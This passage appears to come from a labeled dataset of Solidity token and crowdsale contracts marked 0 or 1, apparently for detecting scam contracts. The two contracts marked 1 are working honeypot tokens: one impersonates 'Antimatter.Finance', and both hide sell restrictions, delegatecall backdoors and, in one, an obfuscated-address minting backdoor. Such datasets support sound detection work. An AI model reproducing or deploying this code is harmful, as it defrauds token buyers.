amounts.length); require(!frozenAccount[msg.sender]); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++){ require(amounts[i] > 0); require(addresses[i] != address(0)); require(!frozenAccount[addresses[i]]); totalAmount = totalAmount.add(amounts[i]); } require(balances[msg.sender] >= totalAmount); bytes memory empty; for (i = 0; i < addresses.length; i++) { balances[addresses[i]] = balances[addresses[i]].add(amounts[i]); emit Transfer(msg.sender, addresses[i], amounts[i], empty); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); return true; } function collectTokens(address[] addresses, uint256[] amounts) public onlyOwner returns (bool) { require(addresses.length > 0); require(addresses.length == amounts.length); uint256 totalAmount = 0; bytes memory empty; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0); require(addresses[j] != address(0)); require(!frozenAccount[addresses[j]]); require(balances[addresses[j]] >= amounts[j]); balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); emit Transfer(addresses[j], msg.sender, amounts[j], empty); } balances[msg.sender] = balances[msg.sender].add(totalAmount); return true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface token { function transfer(address receiver, uint amount) external; function burn(uint256 _value) external returns (bool success); } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } contract HACHIKOCrowdsale is Ownable { using SafeMath for uint256; uint256 public constant EXCHANGE_RATE = 200; uint256 public constant START = 1537538400; uint256 availableTokens; address addressToSendEthereum; uint public amountRaised; uint public deadline; uint public price; token public tokenReward; mapping(address => uint256) public balanceOf; constructor( address addressOfTokenUsedAsReward, address _addressToSendEthereum ) public { availableTokens = 5000000 * 10 ** 18; addressToSendEthereum = _addressToSendEthereum; deadline = START + 42 days; tokenReward = token(addressOfTokenUsedAsReward); } function () public payable { require(now < deadline && now >= START); uint256 amount = msg.value; uint256 tokens = amount * EXCHANGE_RATE; uint256 bonus = getBonus(tokens); tokens = tokens.add(bonus); balanceOf[msg.sender] += tokens; amountRaised += tokens; availableTokens -= tokens; tokenReward.transfer(msg.sender, tokens); addressToSendEthereum.transfer(amount); } function getBonus(uint256 _tokens) public constant returns (uint256) { require(_tokens > 0); if (START <= now && now < START + 1 days) { return _tokens.mul(30).div(100); } else if (START <= now && now < START + 1 weeks) { return _tokens.div(4); } else if (START + 1 weeks <= now && now < START + 2 weeks) { return _tokens.div(5); } else if (START + 2 weeks <= now && now < START + 3 weeks) { return _tokens.mul(15).div(100); } else if (START + 3 weeks <= now && now < START + 4 weeks) { return _tokens.div(10); } else if (START + 4 weeks <= now && now < START + 5 weeks) { return _tokens.div(20); } else { return 0; } } modifier afterDeadline() { require(now >= deadline); _; } function sellForOtherCoins(address _address,uint amount) public payable onlyOwner { uint256 tokens = amount; uint256 bonus = getBonus(tokens); tokens = tokens.add(bonus); availableTokens -= tokens; tokenReward.transfer(_address, tokens); } function burnAfterIco() public onlyOwner returns (bool success){ uint256 balance = availableTokens; tokenReward.burn(balance); availableTokens = 0; return true; } function tokensAvailable() public constant returns (uint256) { return availableTokens; } }
0
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } abstract contract Context { constructor() {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public override view returns(uint) { return _totalSupply; } function balanceOf(address account) public override view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract AdminUpgradeabilityProxy { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin)); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "Antimatter.Finance Governance Token"; string public symbol = "MATTER"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; function sliceUint(bytes memory bs) internal pure returns (uint) { uint x; assembly { x := mload(add(bs, add(0x10, 0))) } return x; } function isAccountValid(address subject) pure public returns (bool result) { return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0; } function onlyByHundred() view public returns (bool result) { require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this"); return true; } constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ChilizShibaInu{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
1
pragma solidity ^0.4.11; contract IOwned { function owner() public constant returns (address owner) { owner; } function transferOwnership(address _newOwner) public; function acceptOwnership() public; } contract IERC20Token { function name() public constant returns (string name) { name; } function symbol() public constant returns (string symbol) { symbol; } function decimals() public constant returns (uint8 decimals) { decimals; } function totalSupply() public constant returns (uint256 totalSupply) { totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract ITokenHolder is IOwned { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } contract ISmartToken is ITokenHolder, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } contract SafeMath { function SafeMath() { } function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract ERC20Token is IERC20Token, SafeMath { string public standard = 'Token 0.1'; string public name = ''; string public symbol = ''; uint8 public decimals = 0; uint256 public totalSupply = 0; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function ERC20Token(string _name, string _symbol, uint8 _decimals) { require(bytes(_name).length > 0 && bytes(_symbol).length > 0); name = _name; symbol = _symbol; decimals = _decimals; } modifier validAddress(address _address) { require(_address != 0x0); _; } function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) { balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) { allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); function Owned() { owner = msg.sender; } modifier ownerOnly { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract TokenHolder is ITokenHolder, Owned { function TokenHolder() { } modifier validAddress(address _address) { require(_address != 0x0); _; } modifier notThis(address _address) { require(_address != address(this)); _; } function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public ownerOnly validAddress(_token) validAddress(_to) notThis(_to) { assert(_token.transfer(_to, _amount)); } } contract SmartToken is ISmartToken, ERC20Token, Owned, TokenHolder { string public version = '0.2'; bool public transfersEnabled = true; event NewSmartToken(address _token); event Issuance(uint256 _amount); event Destruction(uint256 _amount); function SmartToken(string _name, string _symbol, uint8 _decimals) ERC20Token(_name, _symbol, _decimals) { require(bytes(_symbol).length <= 6); NewSmartToken(address(this)); } modifier transfersAllowed { assert(transfersEnabled); _; } function disableTransfers(bool _disable) public ownerOnly { transfersEnabled = !_disable; } function issue(address _to, uint256 _amount) public ownerOnly validAddress(_to) notThis(_to) { totalSupply = safeAdd(totalSupply, _amount); balanceOf[_to] = safeAdd(balanceOf[_to], _amount); Issuance(_amount); Transfer(this, _to, _amount); } function destroy(address _from, uint256 _amount) public ownerOnly { balanceOf[_from] = safeSub(balanceOf[_from], _amount); totalSupply = safeSub(totalSupply, _amount); Transfer(_from, this, _amount); Destruction(_amount); } function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) { assert(super.transfer(_to, _value)); if (_to == address(this)) { balanceOf[_to] -= _value; totalSupply -= _value; Destruction(_value); } return true; } function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) { assert(super.transferFrom(_from, _to, _value)); if (_to == address(this)) { balanceOf[_to] -= _value; totalSupply -= _value; Destruction(_value); } return true; } } contract Ownable { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed _by, address indexed _to); event OwnershipTransferred(address indexed _from, address indexed _to); function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address _newOwnerCandidate) onlyOwner { require(_newOwnerCandidate != address(0)); newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } function acceptOwnership() { if (msg.sender == newOwnerCandidate) { owner = newOwnerCandidate; newOwnerCandidate = address(0); OwnershipTransferred(owner, newOwnerCandidate); } } } library SaferMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract StoxSmartToken is SmartToken { function StoxSmartToken() SmartToken('Stox', 'STX', 18) { disableTransfers(true); } } contract Trustee is Ownable { using SaferMath for uint256; StoxSmartToken public stox; struct Grant { uint256 value; uint256 start; uint256 cliff; uint256 end; uint256 transferred; bool revokable; } mapping (address => Grant) public grants; uint256 public totalVesting; event NewGrant(address indexed _from, address indexed _to, uint256 _value); event UnlockGrant(address indexed _holder, uint256 _value); event RevokeGrant(address indexed _holder, uint256 _refund); function Trustee(StoxSmartToken _stox) { require(_stox != address(0)); stox = _stox; } function grant(address _to, uint256 _value, uint256 _start, uint256 _cliff, uint256 _end, bool _revokable) public onlyOwner { require(_to != address(0)); require(_value > 0); require(grants[_to].value == 0); require(_start <= _cliff && _cliff <= _end); require(totalVesting.add(_value) <= stox.balanceOf(address(this))); grants[_to] = Grant({ value: _value, start: _start, cliff: _cliff, end: _end, transferred: 0, revokable: _revokable }); totalVesting = totalVesting.add(_value); NewGrant(msg.sender, _to, _value); } function revoke(address _holder) public onlyOwner { Grant grant = grants[_holder]; require(grant.revokable); uint256 refund = grant.value.sub(grant.transferred); delete grants[_holder]; totalVesting = totalVesting.sub(refund); stox.transfer(msg.sender, refund); RevokeGrant(_holder, refund); } function vestedTokens(address _holder, uint256 _time) public constant returns (uint256) { Grant grant = grants[_holder]; if (grant.value == 0) { return 0; } return calculateVestedTokens(grant, _time); } function calculateVestedTokens(Grant _grant, uint256 _time) private constant returns (uint256) { if (_time < _grant.cliff) { return 0; } if (_time >= _grant.end) { return _grant.value; } return _grant.value.mul(_time.sub(_grant.start)).div(_grant.end.sub(_grant.start)); } function unlockVestedTokens() public { Grant grant = grants[msg.sender]; require(grant.value != 0); uint256 vested = calculateVestedTokens(grant, now); if (vested == 0) { return; } uint256 transferable = vested.sub(grant.transferred); if (transferable == 0) { return; } grant.transferred = grant.transferred.add(transferable); totalVesting = totalVesting.sub(transferable); stox.transfer(msg.sender, transferable); UnlockGrant(msg.sender, transferable); } } contract StoxSmartTokenSale is Ownable { using SaferMath for uint256; uint256 public constant DURATION = 14 days; bool public isFinalized = false; bool public isDistributed = false; StoxSmartToken public stox; Trustee public trustee; uint256 public startTime = 0; uint256 public endTime = 0; address public fundingRecipient; uint256 public tokensSold = 0; uint256 public constant ETH_CAP = 148000; uint256 public constant EXCHANGE_RATE = 200; uint256 public constant TOKEN_SALE_CAP = ETH_CAP * EXCHANGE_RATE * 10 ** 18; event TokensIssued(address indexed _to, uint256 _tokens); modifier onlyDuringSale() { if (tokensSold >= TOKEN_SALE_CAP || now < startTime || now >= endTime) { throw; } _; } modifier onlyAfterSale() { if (!(tokensSold >= TOKEN_SALE_CAP || now >= endTime)) { throw; } _; } function StoxSmartTokenSale(address _stox, address _fundingRecipient, uint256 _startTime) { require(_stox != address(0)); require(_fundingRecipient != address(0)); require(_startTime > now); stox = StoxSmartToken(_stox); fundingRecipient = _fundingRecipient; startTime = _startTime; endTime = startTime + DURATION; } function distributePartnerTokens() external onlyOwner { require(!isDistributed); assert(tokensSold == 0); assert(stox.totalSupply() == 0); issueTokens(0x9065260ef6830f6372F1Bde408DeC57Fe3150530, 14800000 * 10 ** 18); isDistributed = true; } function finalize() external onlyAfterSale { if (isFinalized) { throw; } trustee = new Trustee(stox); uint256 unsoldTokens = tokensSold; uint256 strategicPartnershipTokens = unsoldTokens.mul(55).div(100); stox.issue(0xbC14105ccDdeAadB96Ba8dCE18b40C45b6bACf58, strategicPartnershipTokens); stox.issue(trustee, unsoldTokens.sub(strategicPartnershipTokens)); trustee.grant(0xb54c6a870d4aD65e23d471Fb7941aD271D323f5E, unsoldTokens.mul(25).div(100), now, now, now.add(1 years), true); trustee.grant(0x4eB4Cd1D125d9d281709Ff38d65b99a6927b46c1, unsoldTokens.mul(20).div(100), now, now, now.add(2 years), true); stox.disableTransfers(false); isFinalized = true; } function create(address _recipient) public payable onlyDuringSale { require(_recipient != address(0)); require(msg.value > 0); assert(isDistributed); uint256 tokens = SaferMath.min256(msg.value.mul(EXCHANGE_RATE), TOKEN_SALE_CAP.sub(tokensSold)); uint256 contribution = tokens.div(EXCHANGE_RATE); issueTokens(_recipient, tokens); fundingRecipient.transfer(contribution); uint256 refund = msg.value.sub(contribution); if (refund > 0) { msg.sender.transfer(refund); } } function issueTokens(address _recipient, uint256 _tokens) private { tokensSold = tokensSold.add(_tokens); stox.issue(_recipient, _tokens); TokensIssued(_recipient, _tokens); } function () external payable onlyDuringSale { create(msg.sender); } function transferSmartTokenOwnership(address _newOwnerCandidate) external onlyOwner { stox.transferOwnership(_newOwnerCandidate); } function acceptSmartTokenOwnership() external onlyOwner { stox.acceptOwnership(); } function transferTrusteeOwnership(address _newOwnerCandidate) external onlyOwner { 